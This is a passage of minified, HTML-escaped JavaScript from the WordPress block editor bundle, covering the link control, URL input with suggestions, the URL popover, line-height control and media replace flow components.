link&quot;),onClick:n,size:&quot;compact&quot;,showTooltip:!i}),(0,vt.jsx)(Lo.Button,{icon:nA,label:(0,Id.__)(&quot;Copy link&quot;),ref:g,accessibleWhenDisabled:!0,disabled:f,size:&quot;compact&quot;,showTooltip:!i}),(0,vt.jsx)(_re,{fillProps:e})]})})}var Pre=l(N(),1),FI=l(A(),1),Sb=l(w(),1),iTe=()=&gt;{},sTe=({value:e,onChange:t=iTe,settings:o})=&gt;{if(!o||!o.length)return null;let r=i=&gt;s=&gt;{t({...e,[i.id]:s})},n=o.map(i=&gt;{if(&quot;render&quot;in i){if(typeof i.render==&quot;function&quot;){let s=i.render(i,e,t);return(0,Sb.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__setting&quot;,children:s},i.id)}return null}return(0,Sb.jsx)(FI.CheckboxControl,{className:&quot;block-editor-link-control__setting&quot;,label:i.title,onChange:r(i),checked:e?!!e[i.id]:!1,help:i?.help},i.id)}).filter(Boolean);return(0,Sb.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-link-control__settings&quot;,children:[(0,Sb.jsx)(FI.VisuallyHidden,{as:&quot;legend&quot;,children:(0,Pre.__)(&quot;Currently selected link settings&quot;)}),n]})},Rre=sTe;var Ore=l(N(),1),Qm=l(R(),1);function Are(e){let t=(0,Qm.useRef)(),[o,r]=(0,Qm.useState)(!1),[n,i]=(0,Qm.useState)(null),s=async function(a){r(!0),i(null);try{return t.current=aTe(Promise.resolve(e(a))),await t.current.promise}catch(c){if(c&amp;&amp;c.isCanceled)return;throw i(c.message||(0,Ore.__)(&quot;An unknown error occurred during creation. Please try again.&quot;)),c}finally{r(!1)}};return(0,Qm.useEffect)(()=&gt;()=&gt;{t.current&amp;&amp;t.current.cancel()},[]),{createPage:s,isCreatingPage:o,errorMessage:n}}var aTe=e=&gt;{let t=!1;return{promise:new Promise((r,n)=&gt;{e.then(i=&gt;t?n({isCanceled:!0}):r(i),i=&gt;n(t?{isCanceled:!0}:i))}),cancel(){t=!0}}};var sF=l(R(),1),Mre=l(Nre(),1);function Dre(e){let[t,o]=(0,sF.useState)(e||{}),[r,n]=(0,sF.useState)(e);return(0,Mre.default)(e,r)||(n(e),o(e)),[t,o,c=&gt;{o({...t,url:c})},c=&gt;{o({...t,title:c})},c=&gt;u=&gt;{let d=Object.keys(u).reduce((f,m)=&gt;(c.includes(m)&amp;&amp;(f[m]=u[m]),f),{});o({...t,...d})}]}var Pt=l(w(),1),lF=()=&gt;{},Vre=&quot;core/block-editor&quot;,Fre=&quot;linkControlSettingsDrawer&quot;;function Jm({searchInputPlaceholder:e,value:t,settings:o=rF,onChange:r=lF,onInputChange:n,onRemove:i,onCancel:s,noDirectEntry:a=!1,showSuggestions:c=!0,showInitialSuggestions:u,forceIsEditingLink:d,createSuggestion:f,withCreateSuggestion:m,inputValue:h=&quot;&quot;,suggestionsQuery:p={},noURLSuggestion:g=!1,createSuggestionButtonText:b,hasRichPreviews:v=!1,hasTextControl:k=!1,renderControlBottom:y=null,handleEntities:S=!1}){m===void 0&amp;&amp;f&amp;&amp;(m=!0);let[x,C]=(0,no.useState)(!1),[B,I]=(0,no.useState)(void 0),{advancedSettingsPreference:P}=(0,zI.useSelect)(ge=&gt;({advancedSettingsPreference:ge(aF.store).get(Vre,Fre)??!1}),[]),{set:E}=(0,zI.useDispatch)(aF.store),L=ge=&gt;{E&amp;&amp;E(Vre,Fre,ge),C(ge)},T=P||x,O=(0,no.useRef)(!0),D=(0,no.useRef)(),U=(0,no.useRef)(),G=(0,no.useRef)(),j=(0,no.useRef)(),z=o.map(({id:ge})=&gt;ge),[W,ee,se,ce,ie]=Dre(t),re=ge=&gt;{se(ge),n?.(ge)},Q=S&amp;&amp;!!W?.id,Y=(0,zre.useInstanceId)(Jm,&quot;link-control&quot;),J=Q?`${Y}__help`:null,K=t&amp;&amp;!(0,Hre.isShallowEqualObjects)(W,t),[H,X]=(0,no.useState)(d!==void 0?d:!t||!t.url),{createPage:ne,isCreatingPage:le,errorMessage:ve}=Are(f);(0,no.useEffect)(()=&gt;{d!==void 0&amp;&amp;X(d)},[d]),(0,no.useEffect)(()=&gt;{if(O.current)return;(jre.focus.focusable.find(D.current)[0]||D.current).focus()},[H,le]),(0,no.useEffect)(()=&gt;(O.current=!1,()=&gt;{O.current=!0}),[]);let he=(0,no.useRef)();(0,no.useEffect)(()=&gt;{if(he.current===void 0){he.current=h;return}he.current!==h&amp;&amp;(console.warn(&quot;LinkControl: The inputValue prop is uncontrolled and only sets the initial value. onInputChange is an observer for the input value. Changes to inputValue from the parent will not update the search input.&quot;),he.current=h)},[h]),(0,no.useEffect)(()=&gt;{if(B?.type===&quot;invalid&quot;){let ge=G.current;ge&amp;&amp;typeof ge.reportValidity==&quot;function&quot;&amp;&amp;ge.reportValidity()}},[B]);let xe=t?.url?.trim()?.length&gt;0,ze=()=&gt;{X(!1)},ot=ge=&gt;{let Ct={type:&quot;invalid&quot;,message:(0,Qs.__)(&quot;Please enter a valid URL.&quot;)},Io={type:&quot;valid&quot;},Ke=ge?.trim();if(!Ke?.length||!kf(Ke))return Ct;if(gf(Ke)||bf(Ke))return Io;let te=(0,jI.prependHTTPS)(Ke);return(0,jI.isURL)(te)?Io:Ct},Wt=ge=&gt;{if(!(ge&amp;&amp;ge.id&amp;&amp;ge.type&amp;&amp;!vb.includes(ge.type))){let Ke=ge?.url||$t,te=ot(Ke);if(te.type===&quot;invalid&quot;){I(te);return}let{url:Le}=YS(Ke);ge={...ge,url:Le}}ge?.kind===&quot;taxonomy&quot;&amp;&amp;ge?.url&amp;&amp;(j.current=ge.url);let Io=Object.keys(ge).reduce((Ke,te)=&gt;(z.includes(te)||(Ke[te]=ge[te]),Ke),{});r({...W,...Io,title:W?.title||ge?.title}),I(void 0),ze()},fo=()=&gt;{if(lr)return!1;let ge=$t.trim(),Ct=W&amp;&amp;W.id&amp;&amp;W.type&amp;&amp;!vb.includes(W.type),Io=t?.url===ge;if(Ct&amp;&amp;Io)return I(void 0),!0;let Ke=ot($t);return Ke.type===&quot;invalid&quot;?(I(Ke),!1):(I(void 0),!0)},Do=()=&gt;{K&amp;&amp;r({...t,...W,url:YS($t).url}),ze(),I(void 0)},rt=()=&gt;{fo()&amp;&amp;Do()},ar=ge=&gt;{let{keyCode:Ct}=ge;Ct===Ure.ENTER&amp;&amp;!lr&amp;&amp;(ge.preventDefault(),rt())},xt=()=&gt;{ee(t)},At=ge=&gt;{ge.preventDefault(),ge.stopPropagation(),xt(),I(void 0),xe?ze():i?.(),s?.()},[Pe,wt]=(0,no.useState)(!1),qo=()=&gt;{let{id:ge,kind:Ct,type:Io,...Ke}=W;ee({...Ke,id:void 0,kind:void 0,type:void 0,url:void 0}),wt(!0)};(0,no.useEffect)(()=&gt;{Pe&amp;&amp;(G.current?.focus(),wt(!1))},[Pe]);let $t=W?.url!==void 0?W.url:h||&quot;&quot;,lr=!$t?.trim()?.length;(0,no.useEffect)(()=&gt;{I(void 0)},[$t]);let ln=!B,je=i&amp;&amp;t&amp;&amp;!H&amp;&amp;!le,Eo=H&amp;&amp;xe,Ze=xe&amp;&amp;k,Ve=(H||!t)&amp;&amp;!le,gt=lr||!ln||t&amp;&amp;!K,To=!!o?.length&amp;&amp;H&amp;&amp;xe,cr=(0,no.useMemo)(()=&gt;t?.kind===&quot;taxonomy&quot;&amp;&amp;!t?.url&amp;&amp;j.current?{...t,url:j.current}:t,[t]);return(0,Pt.jsxs)(&quot;div&quot;,{tabIndex:-1,ref:D,className:&quot;block-editor-link-control&quot;,children:[le&amp;&amp;(0,Pt.jsxs)(&quot;div&quot;,{className:&quot;block-editor-link-control__loading&quot;,children:[(0,Pt.jsx)(Qr.Spinner,{}),&quot; &quot;,(0,Qs.__)(&quot;Creating&quot;),&quot;\u2026&quot;]}),Ve&amp;&amp;(0,Pt.jsxs)(Pt.Fragment,{children:[(0,Pt.jsxs)(&quot;div&quot;,{className:V({&quot;block-editor-link-control__search-input-wrapper&quot;:!0,&quot;has-text-control&quot;:Ze,&quot;has-actions&quot;:Eo}),children:[Ze&amp;&amp;(0,Pt.jsx)(Qr.TextControl,{ref:U,className:&quot;block-editor-link-control__field block-editor-link-control__text-content&quot;,label:(0,Qs.__)(&quot;Text&quot;),value:W?.title,onChange:ce,onKeyDown:ar,__next40pxDefaultSize:!0}),(0,Pt.jsx)(vre,{ref:G,currentLink:t,className:&quot;block-editor-link-control__field block-editor-link-control__search-input&quot;,placeholder:e,value:$t,withCreateSuggestion:m,onCreateSuggestion:ne,onChange:re,onSelect:Wt,showInitialSuggestions:u,allowDirectEntry:!a,showSuggestions:c,suggestionsQuery:p,withURLSuggestion:!g,createSuggestionButtonText:b,hideLabelFromVision:!Ze,isEntity:Q,customValidity:B,suffix:(0,Pt.jsx)(lTe,{isEntity:Q,showActions:Eo,isDisabled:gt,onUnlink:qo,onSubmit:rt,helpTextId:J})}),Q&amp;&amp;J&amp;&amp;(0,Pt.jsx)(&quot;p&quot;,{id:J,className:&quot;block-editor-link-control__help&quot;,children:(0,Qs.sprintf)((0,Qs.__)(&quot;Synced with the selected %s.&quot;),W?.type||&quot;item&quot;)})]}),ve&amp;&amp;(0,Pt.jsx)(Qr.Notice,{className:&quot;block-editor-link-control__search-error&quot;,status:&quot;error&quot;,isDismissible:!1,children:ve})]}),t&amp;&amp;!H&amp;&amp;!le&amp;&amp;(0,Pt.jsx)(Ire,{value:cr,onEditClick:()=&gt;X(!0),hasRichPreviews:v,hasUnlinkControl:je,onRemove:()=&gt;{i(),X(!0)}},cr?.url),To&amp;&amp;(0,Pt.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__tools&quot;,children:!lr&amp;&amp;(0,Pt.jsx)(Qoe,{settingsOpen:T,setSettingsOpen:L,children:(0,Pt.jsx)(Rre,{value:W,settings:o,onChange:ie(z)})})}),Eo&amp;&amp;(0,Pt.jsxs)(Qr.__experimentalHStack,{justify:&quot;right&quot;,className:&quot;block-editor-link-control__search-actions&quot;,children:[(0,Pt.jsx)(Qr.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:At,children:(0,Qs.__)(&quot;Cancel&quot;)}),(0,Pt.jsx)(Qr.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:gt?lF:rt,className:&quot;block-editor-link-control__search-submit&quot;,&quot;aria-disabled&quot;:gt,children:(0,Qs.__)(&quot;Apply&quot;)})]}),!le&amp;&amp;y&amp;&amp;y()]})}function lTe({isEntity:e,showActions:t,isDisabled:o,onUnlink:r,onSubmit:n,helpTextId:i}){if(e)return(0,Pt.jsx)(Qr.Button,{icon:Ci,onClick:r,&quot;aria-describedby&quot;:i,showTooltip:!0,label:(0,Qs.__)(&quot;Unsync and edit&quot;),__next40pxDefaultSize:!0});if(!t)return(0,Pt.jsx)(Qr.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,Pt.jsx)(Qr.Button,{onClick:o?lF:n,label:(0,Qs.__)(&quot;Submit&quot;),icon:bl,className:&quot;block-editor-link-control__search-submit&quot;,&quot;aria-disabled&quot;:o,size:&quot;small&quot;})})}Jm.ViewerFill=xre;Jm.DEFAULT_LINK_SETTINGS=rF;var UI=e=&gt;((0,Gre.default)(&quot;wp.blockEditor.__experimentalLinkControl&quot;,{since:&quot;6.8&quot;,alternative:&quot;wp.blockEditor.LinkControl&quot;}),(0,Pt.jsx)(Jm,{...e}));UI.ViewerFill=Jm.ViewerFill;UI.DEFAULT_LINK_SETTINGS=Jm.DEFAULT_LINK_SETTINGS;var Pd=Jm;var $re=l(N(),1),Kre=l(A(),1),Yre=l(Re(),1);var qS=1.5,cF=.01,uF=10,dF=&quot;&quot;;function Wre(e){return e!==void 0&amp;&amp;e!==dF}var fF=l(w(),1),cTe=({__next40pxDefaultSize:e=!1,value:t,onChange:o,__unstableInputWidth:r=&quot;60px&quot;,...n})=&gt;{let i=Wre(t),s=(d,f)=&gt;{if(i)return d;let m=cF*uF;switch(`${d}`){case`${m}`:return qS+m;case&quot;0&quot;:return f?d:qS-m;case&quot;&quot;:return qS;default:return d}},a=(d,f)=&gt;{let m=[&quot;insertText&quot;,&quot;insertFromPaste&quot;].includes(f.payload.event.nativeEvent?.inputType),h=s(d.value,m);return{...d,value:h}},c=i?t:dF,u=(d,{event:f})=&gt;{if(d===&quot;&quot;){o();return}if(f.type===&quot;click&quot;){o(s(`${d}`,!1));return}o(`${d}`)};return!e&amp;&amp;(n.size===void 0||n.size===&quot;default&quot;)&amp;&amp;(0,Yre.default)(&quot;36px default size for wp.blockEditor.LineHeightControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;}),(0,fF.jsx)(&quot;div&quot;,{className:&quot;block-editor-line-height-control&quot;,children:(0,fF.jsx)(Kre.__experimentalNumberControl,{...n,__shouldNotWarnDeprecated36pxSize:!0,__next40pxDefaultSize:e,__unstableInputWidth:r,__unstableStateReducer:a,onChange:u,label:(0,$re.__)(&quot;Line height&quot;),placeholder:qS,step:cF,spinFactor:uF,value:c,min:0,spinControls:&quot;custom&quot;})})},HI=cTe;var Ha=l(N(),1),qre=l(Xo(),1),Jr=l(A(),1),WI=l(F(),1),Zre=l(it(),1);var Xre=l(Z(),1),Qre=l(Fe(),1),Jre=l(Un(),1),ene=l(R(),1);function GI(e,t,o){if(o)return o;if(!t||typeof t!=&quot;object&quot;||Object.keys(t).length===0)return e&amp;&amp;e.length&gt;0?e.map(n=&gt;`${n}/*`).join(&quot;,&quot;):void 0;if(!e||e.length===0)return;let r=[];for(let[,n]of Object.entries(t))e.some(s=&gt;s.includes(&quot;/&quot;)?n===s:n.startsWith(`${s}/`))&amp;&amp;r.push(n);return r.length&gt;0?r.join(&quot;,&quot;):e.map(n=&gt;`${n}/*`).join(&quot;,&quot;)}var rr=l(w(),1),uTe=()=&gt;{},dTe=0,fTe=({mediaURL:e,mediaId:t,mediaIds:o,allowedTypes:r,accept:n,onError:i,onSelect:s,onSelectURL:a,onReset:c,onToggleFeaturedImage:u,useFeaturedImage:d,onFilesUpload:f=uTe,name:m=(0,Ha.__)(&quot;Replace&quot;),createNotice:h,removeNotice:p,children:g,multiple:b=!1,addToGallery:v,handleUpload:k=!0,variant:y,popoverProps:S,renderToggle:x,className:C})=&gt;{let{mediaUpload:B,allowedMimeTypes:I}=(0,WI.useSelect)(z=&gt;{let{getSettings:W}=z(_),ee=W();return{mediaUpload:ee.mediaUpload,allowedMimeTypes:ee.allowedMimeTypes}},[]),P=`block-editor/media-replace-flow/error-notice/${++dTe}`,E=(0,ene.useMemo)(()=&gt;GI(r,I,n),[r,I,n]),L=z=&gt;{let W=(0,Qre.__unstableStripHTML)(z);if(i){i(W);return}setTimeout(()=&gt;{h(&quot;error&quot;,W,{speak:!0,id:P,isDismissible:!0})},1e3)},T=(z,W)=&gt;{d&amp;&amp;u&amp;&amp;u(),W(),s(z),(0,qre.speak)((0,Ha.__)(&quot;The media file has been replaced&quot;)),p(P)},O=(z,W)=&gt;{let ee=z.target.files;if(!k)return W(),s(ee);f(ee),B({allowedTypes:r,filesList:ee,onFileChange:([se])=&gt;{T(se,W)},onError:L})},D=z=&gt;{z.keyCode===Zre.DOWN&amp;&amp;(z.preventDefault(),z.target.click())},G=b&amp;&amp;(!r||r.length===0?!1:r.every(z=&gt;z===&quot;image&quot;||z.startsWith(&quot;image/&quot;))),j={...S,variant:y};return(0,rr.jsx)(Jr.Dropdown,{popoverProps:j,className:C,contentClassName:V(&quot;block-editor-media-replace-flow__options&quot;,y&amp;&amp;`is-variant-${y}`),renderToggle:({isOpen:z,onToggle:W})=&gt;x?x({&quot;aria-expanded&quot;:z,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:W,onKeyDown:D,children:m}):(0,rr.jsx)(Jr.ToolbarButton,{&quot;aria-expanded&quot;:z,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:W,onKeyDown:D,children:m}),renderContent:({onClose:z})=&gt;(0,rr.jsxs)(rr.Fragment,{children:[(0,rr.jsxs)(Jr.NavigableMenu,{className:&quot;block-editor-media-replace-flow__media-upload-menu&quot;,children:[(0,rr.jsxs)(Ds,{children:[(0,rr.jsx)(qu,{gallery:G,addToGallery:v,multiple:b,value:b?o:t,onSelect:W=&gt;T(W,z),allowedTypes:r,render:({open:W})=&gt;(0,rr.jsx)(Jr.MenuItem,{icon:jp,onClick:W,children:(0,Ha.__)(&quot;Open Media Library&quot;)})}),(0,rr.jsx)(Jr.FormFileUpload,{onChange:W=&gt;{O(W,z)},accept:E,multiple:!!b,render:({openFileDialog:W})=&gt;(0,rr.jsx)(Jr.MenuItem,{icon:NN,onClick:()=&gt;{W()},children:(0,Ha._x)(&quot;Upload&quot;,&quot;verb&quot;)})})]}),u&amp;&amp;(0,rr.jsx)(Jr.MenuItem,{icon:GL,onClick:u,isPressed:d,children:(0,Ha.__)(&quot;Use featured image&quot;)}),typeof g==&quot;function&quot;?g({onClose:z}):g,e&amp;&amp;c&amp;&amp;(0,rr.jsx)(Jr.MenuItem,{onClick:()=&gt;{c(),z()},children:(0,Ha.__)(&quot;Reset&quot;)})]}),a&amp;&amp;(0,rr.jsxs)(&quot;form&quot;,{className:&quot;block-editor-media-flow__url-input&quot;,children:[(0,rr.jsx)(&quot;span&quot;,{className:&quot;block-editor-media-replace-flow__image-url-label&quot;,children:(0,Ha.__)(&quot;Current media URL:&quot;)}),(0,rr.jsx)(Pd,{value:{url:e},settings:[],showSuggestions:!1,onChange:({url:W})=&gt;{a(W)},searchInputPlaceholder:(0,Ha.__)(&quot;Paste or type URL&quot;)})]})]})})},_b=(0,Xre.compose)([(0,WI.withDispatch)(e=&gt;{let{createNotice:t,removeNotice:o}=e(Jre.store);return{createNotice:t,removeNotice:o}}),(0,Jr.withFilters)(&quot;editor.MediaReplaceFlow&quot;)])(fTe);var _o=l(A(),1),So=l(N(),1),Ld=l(R(),1),pne=l(F(),1);var hne=l(Re(),1);var pF=l(N(),1),KI=l(R(),1),xb=l(A(),1);var mne=l(Re(),1);var rne=l(N(),1),nne=l(A(),1);var tne=l(A(),1),$I=l(dn(),1),mF=l(w(),1);function one({url:e,urlLabel:t,className:o}){let r=V(o,&quot;block-editor-url-popover__link-viewer-url&quot;);return e?(0,mF.jsx)(tne.ExternalLink,{className:r,href:e,children:t||(0,$I.filterURLForDisplay)((0,$I.safeDecodeURI)(e))}):(0,mF.jsx)(&quot;span&quot;,{className:r})}var ZS=l(w(),1);function ine({className:e,linkClassName:t,onEditLinkClick:o,url:r,urlLabel:n,...i}){return(0,ZS.jsxs)(&quot;div&quot;,{className:V(&quot;block-editor-url-popover__link-viewer&quot;,e),...i,children:[(0,ZS.jsx)(one,{url:r,urlLabel:n,className:t}),o&amp;&amp;(0,ZS.jsx)(nne.Button,{icon:Of,label:(0,rne.__)(&quot;Edit&quot;),onClick:o,size:&quot;compact&quot;})]})}var une=l(N(),1),dne=l(A(),1);var kc=l(N(),1),XS=l(R(),1),Js=l(it(),1),Tn=l(A(),1),Rd=l(Z(),1),sne=l(F(),1),ane=l(dn(),1);var Ga=l(w(),1),lne=l(jr(),1),{ValidatedInputControl:mTe}=M(Tn.privateApis);function cne(e){return typeof e==&quot;function&quot;}var pTe=class extends XS.Component{constructor(e){super(e),this.onChange=this.onChange.bind(this),this.onFocus=this.onFocus.bind(this),this.onKeyDown=this.onKeyDown.bind(this),this.selectLink=this.selectLink.bind(this),this.handleOnClick=this.handleOnClick.bind(this),this.bindSuggestionNode=this.bindSuggestionNode.bind(this),this.autocompleteRef=e.autocompleteRef||(0,XS.createRef)(),this.inputRef=e.inputRef||(0,XS.createRef)(),this.hasRenderedValidation={current:!1},this.updateSuggestions=(0,Rd.debounce)(this.updateSuggestions.bind(this),200),this.suggestionNodes=[],this.suggestionsRequest=null,this.state={suggestions:[],showSuggestions:!1,suggestionsValue:null,selectedSuggestion:null,suggestionsListboxId:&quot;&quot;,suggestionOptionIdPrefix:&quot;&quot;}}componentDidUpdate(e){let{showSuggestions:t,selectedSuggestion:o}=this.state,{value:r,__experimentalShowInitialSuggestions:n=!1}=this.props;t&amp;&amp;o!==null&amp;&amp;this.suggestionNodes[o]&amp;&amp;this.suggestionNodes[o].scrollIntoView({behavior:&quot;instant&quot;,block:&quot;nearest&quot;,inline:&quot;nearest&quot;}),e.value!==r&amp;&amp;!this.props.disableSuggestions&amp;&amp;(r?.length?this.updateSuggestions(r):n&amp;&amp;this.updateSuggestions())}componentDidMount(){this.shouldShowInitialSuggestions()&amp;&amp;this.updateSuggestions()}componentWillUnmount(){this.suggestionsRequest?.cancel?.(),this.suggestionsRequest=null}bindSuggestionNode(e){return t=&gt;{this.suggestionNodes[e]=t}}shouldShowInitialSuggestions(){let{__experimentalShowInitialSuggestions:e=!1,value:t}=this.props;return e&amp;&amp;!(t&amp;&amp;t.length)}updateSuggestions(e=&quot;&quot;){let{__experimentalFetchLinkSuggestions:t,__experimentalHandleURLSuggestions:o}=this.props;if(!t)return;let r=!e?.length;if(e=e.trim(),!r&amp;&amp;(e.length&lt;2||!o&amp;&amp;(0,ane.isURL)(e))){this.suggestionsRequest?.cancel?.(),this.suggestionsRequest=null,this.setState({suggestions:[],showSuggestions:!1,suggestionsValue:e,selectedSuggestion:null,loading:!1});return}this.setState({selectedSuggestion:null,loading:!0});let n=t(e,{isInitialSuggestions:r});n.then(i=&gt;{this.suggestionsRequest===n&amp;&amp;(this.setState({suggestions:i,suggestionsValue:e,loading:!1,showSuggestions:!!i.length}),i.length?this.props.debouncedSpeak((0,kc.sprintf)((0,kc._n)(&quot;%d result found, use up and down arrow keys to navigate.&quot;,&quot;%d results found, use up and down arrow keys to navigate.&quot;,i.length),i.length),&quot;assertive&quot;):this.props.debouncedSpeak((0,kc.__)(&quot;No results.&quot;),&quot;assertive&quot;))}).catch(()=&gt;{this.suggestionsRequest===n&amp;&amp;this.setState({loading:!1})}).finally(()=&gt;{this.suggestionsRequest===n&amp;&amp;(this.suggestionsRequest=null)}),this.suggestionsRequest=n}onChange(e){this.props.onChange(e)}onFocus(){let{suggestions:e}=this.state,{disableSuggestions:t,value:o}=this.props;o&amp;&amp;!t&amp;&amp;!(e&amp;&amp;e.length)&amp;&amp;this.suggestionsRequest===null&amp;&amp;this.updateSuggestions(o)}onKeyDown(e){this.props.onKeyDown?.(e);let{showSuggestions:t,selectedSuggestion:o,suggestions:r,loading:n}=this.state;if(!t||!r.length||n){switch(e.keyCode){case Js.UP:{e.target.selectionStart!==0&amp;&amp;(e.preventDefault(),e.target.setSelectionRange(0,0));break}case Js.DOWN:{this.props.value.length!==e.target.selectionStart&amp;&amp;(e.preventDefault(),e.target.setSelectionRange(this.props.value.length,this.props.value.length));break}case Js.ENTER:{this.props.onSubmit&amp;&amp;(e.preventDefault(),this.props.onSubmit(null,e));break}}return}let i=this.state.suggestions[this.state.selectedSuggestion];switch(e.keyCode){case Js.UP:{e.preventDefault();let s=o?o-1:r.length-1;this.setState({selectedSuggestion:s});break}case Js.DOWN:{e.preventDefault();let s=o===null||o===r.length-1?0:o+1;this.setState({selectedSuggestion:s});break}case Js.TAB:{this.state.selectedSuggestion!==null&amp;&amp;(this.selectLink(i),this.props.speak((0,kc.__)(&quot;Link selected.&quot;)));break}case Js.ENTER:{e.preventDefault(),this.state.selectedSuggestion!==null?(this.selectLink(i),this.props.onSubmit&amp;&amp;this.props.onSubmit(i,e)):this.props.onSubmit&amp;&amp;this.props.onSubmit(null,e);break}}}selectLink(e){this.props.onChange(e.url,e),this.setState({selectedSuggestion:null,showSuggestions:!1})}handleOnClick(e){this.selectLink(e),this.inputRef.current.focus()}static getDerivedStateFromProps({value:e,instanceId:t,disableSuggestions:o,__experimentalShowInitialSuggestions:r=!1},{showSuggestions:n}){let i=n,s=e&amp;&amp;e.length;return!r&amp;&amp;!s&amp;&amp;(i=!1),o===!0&amp;&amp;(i=!1),{showSuggestions:i,suggestionsListboxId:`block-editor-url-input-suggestions-${t}`,suggestionOptionIdPrefix:`block-editor-url-input-suggestion-${t}`}}render(){return(0,Ga.jsxs)(Ga.Fragment,{children:[this.renderControl(),this.renderSuggestions()]})}renderControl(){let{label:e=null,className:t,isFullWidth:o,instanceId:r,placeholder:n=(0,kc.__)(&quot;Paste URL or type to search&quot;),__experimentalRenderControl:i,value:s=&quot;&quot;,hideLabelFromVision:a=!1,help:c=null,disabled:u=!1,customValidity:d,markWhenOptional:f}=this.props,{loading:m,showSuggestions:h,selectedSuggestion:p,suggestionsListboxId:g,suggestionOptionIdPrefix:b}=this.state,v=`url-input-control-${r}`,k={id:v,label:e,className:V(&quot;block-editor-url-input&quot;,t,{&quot;is-full-width&quot;:o}),hideLabelFromVision:a},y={id:v,value:s,required:this.props.required??!0,type:&quot;text&quot;,name:v,autoComplete:&quot;off&quot;,onChange:u?()=&gt;{}:this.onChange,onFocus:u?()=&gt;{}:this.onFocus,placeholder:n,onKeyDown:u?()=&gt;{}:this.onKeyDown,role:&quot;combobox&quot;,&quot;aria-label&quot;:e?void 0:(0,kc.__)(&quot;URL&quot;),&quot;aria-expanded&quot;:h,&quot;aria-autocomplete&quot;:&quot;list&quot;,&quot;aria-owns&quot;:g,&quot;aria-activedescendant&quot;:p!==null?`${b}-${p}`:void 0,ref:this.inputRef,disabled:u,suffix:this.props.suffix,help:c},S={customValidity:d,...f!==void 0&amp;&amp;{markWhenOptional:f}};if(i)return i(k,y,m);d!==void 0&amp;&amp;(this.hasRenderedValidation.current=!0);let x=this.hasRenderedValidation.current?mTe:Tn.__experimentalInputControl;return(0,Ga.jsxs)(Tn.BaseControl,{...k,children:[(0,Ga.jsx)(x,{...y,...this.hasRenderedValidation.current?S:{},__next40pxDefaultSize:!0}),m&amp;&amp;(0,Ga.jsx)(Tn.Spinner,{})]})}renderSuggestions(){let{className:e,__experimentalRenderSuggestions:t}=this.props,{showSuggestions:o,suggestions:r,suggestionsValue:n,selectedSuggestion:i,suggestionsListboxId:s,suggestionOptionIdPrefix:a,loading:c}=this.state;if(!o||r.length===0)return null;let u={id:s,ref:this.autocompleteRef,role:&quot;listbox&quot;},d=(f,m)=&gt;({role:&quot;option&quot;,tabIndex:&quot;-1&quot;,id:`${a}-${m}`,ref:this.bindSuggestionNode(m),&quot;aria-selected&quot;:m===i?!0:void 0});return cne(t)?t({suggestions:r,selectedSuggestion:i,suggestionsListProps:u,buildSuggestionItemProps:d,isLoading:c,handleSuggestionClick:this.handleOnClick,isInitialSuggestions:!n?.length,currentInputValue:n}):(0,Ga.jsx)(Tn.Popover,{placement:&quot;bottom&quot;,focusOnMount:!1,children:(0,Ga.jsx)(&quot;div&quot;,{...u,className:V(&quot;block-editor-url-input__suggestions&quot;,{[`${e}__suggestions`]:e}),children:r.map((f,m)=&gt;(0,lne.createElement)(Tn.Button,{__next40pxDefaultSize:!0,...d(f,m),key:f.id,className:V(&quot;block-editor-url-input__suggestion&quot;,{&quot;is-selected&quot;:m===i}),onClick:()=&gt;this.handleOnClick(f)},f.title))})})}},Td=(0,Rd.compose)(Rd.withSafeTimeout,Tn.withSpokenMessages,Rd.withInstanceId,(0,sne.withSelect)((e,t)=&gt;{if(cne(t.__experimentalFetchLinkSuggestions))return;let{getSettings:o}=e(_);return{__experimentalFetchLinkSuggestions:o().__experimentalFetchLinkSuggestions}}))(pTe);var QS=l(w(),1);function fne({autocompleteRef:e,className:t,onChangeInputValue:o,value:r,...n}){return(0,QS.jsxs)(&quot;form&quot;,{className:V(&quot;block-editor-url-popover__link-editor&quot;,t),...n,children:[(0,QS.jsx)(Td,{value:r,onChange:o,autocompleteRef:e}),(0,QS.jsx)(dne.Button,{icon:bl,label:(0,une.__)(&quot;Apply&quot;),type:&quot;submit&quot;,size:&quot;compact&quot;})]})}var Od=l(w(),1),{__experimentalPopoverLegacyPositionToPlacement:hTe}=M(xb.privateApis),gTe=&quot;bottom&quot;,hF=(0,KI.forwardRef)(({additionalControls:e,children:t,renderSettings:o,placement:r,focusOnMount:n=&quot;firstElement&quot;,position:i,...s},a)=&gt;{i!==void 0&amp;&amp;(0,mne.default)(&quot;`position` prop in wp.blockEditor.URLPopover&quot;,{since:&quot;6.2&quot;,alternative:&quot;`placement` prop&quot;});let c;r!==void 0?c=r:i!==void 0&amp;&amp;(c=hTe(i)),c=c||gTe;let[u,d]=(0,KI.useState)(!1),f=!!o&amp;&amp;u,m=()=&gt;{d(!u)};return(0,Od.jsxs)(xb.Popover,{ref:a,role:&quot;dialog&quot;,&quot;aria-modal&quot;:&quot;true&quot;,&quot;aria-label&quot;:(0,pF.__)(&quot;Edit URL&quot;),className:&quot;block-editor-url-popover&quot;,focusOnMount:n,placement:c,shift:!0,variant:&quot;toolbar&quot;,...s,children:[(0,Od.jsx)(&quot;div&quot;,{className:&quot;block-editor-url-popover__input-container&quot;,children:(0,Od.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-popover__row&quot;,children:[t,!!o&amp;&amp;(0,Od.jsx)(xb.Button,{className:&quot;block-editor-url-popover__settings-toggle&quot;,icon:zn,label:(0,pF.__)(&quot;Link settings&quot;),onClick:m,&quot;aria-expanded&quot;:u,size:&quot;compact&quot;})]})}),f&amp;&amp;(0,Od.jsx)(&quot;div&quot;,{className:&quot;block-editor-url-popover__settings&quot;,children:o()}),e&amp;&amp;!f&amp;&amp;(0,Od.jsx)(&quot;div&quot;,{className:&quot;block-editor-url-popover__additional-controls&quot;,children:e})]})});hF.LinkEditor=fne;hF.LinkViewer=ine;var Ad=hF;var 